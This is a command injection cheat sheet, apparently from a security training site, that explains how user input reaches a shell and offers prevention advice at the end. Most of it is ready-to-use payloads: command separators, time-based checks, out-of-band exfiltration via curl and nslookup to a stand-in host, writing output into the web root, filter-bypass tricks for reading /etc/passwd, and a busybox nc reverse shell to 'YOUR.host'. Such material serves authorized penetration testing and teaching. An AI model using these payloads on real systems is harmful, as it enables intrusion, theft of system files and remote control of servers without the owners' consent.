Command Injection

Separators, blind/out-of-band techniques & filter bypass

Command Injection Cheat Sheet

Detect and exploit OS command injection (separators, blind techniques, and filter bypass) plus how to prevent it. For authorized testing only.

The app passes user input into a shell command:

system("ping -c 1 " . $_GET['host']);

You give host=8.8.8.8; id and the shell runs id too.

Operator	Effect
`;`	run both (Linux)
`&&`	run second if first succeeds
`\|\|`	run second if first fails
`\|`	pipe output
`&`	background / run both
`id` / `$(id)`	command substitution
`%0a` (newline)	works when other chars are filtered

8.8.8.8; id
8.8.8.8 && whoami
8.8.8.8 | id
8.8.8.8 $(id)
| id

Time-based: confirm execution by delay:

8.8.8.8 && sleep 5
8.8.8.8 & ping -c 5 127.0.0.1 &

Out-of-band: make the server reach out to you:

8.8.8.8; curl http://YOUR.host/$(whoami)
8.8.8.8; nslookup `whoami`.YOUR.collaborator.net

File-based: write output where you can read it:

8.8.8.8; id > /var/www/html/out.txt

Blocked spaces: ${IFS} → cat${IFS}/etc/passwd, or cat</etc/passwd, or %09 (tab)
Blocked slashes: ${HOME} tricks, or cat$IFS$9${HOME:0:1}etc${HOME:0:1}passwd
Blocked keywords: insert quotes: c''at /etc/passwd, w'h'o'am'i, \c\a\t
Char from hex: $(printf '\x2f') for /
Concatenation: a=/etc/pa;b=sswd;cat $a$b

; id
; uname -a
; cat /etc/passwd
; busybox nc YOUR.host 4444 -e /bin/sh   # reverse shell (see the reverse-shell sheet)

& whoami
&& dir
| whoami
%0a whoami

Don't call the shell with user input. Use APIs that take arg arrays, not strings (execve, subprocess.run([...] , shell=False)).
If you must, allowlist the input (e.g. validate it's a real IP/hostname), never blocklist characters.
Drop privileges; run the service as a low-priv user.

Authorized targets only. Practice on the AYSEC web challenges. See also the reverse shell, SQL injection, and XSS cheat sheets.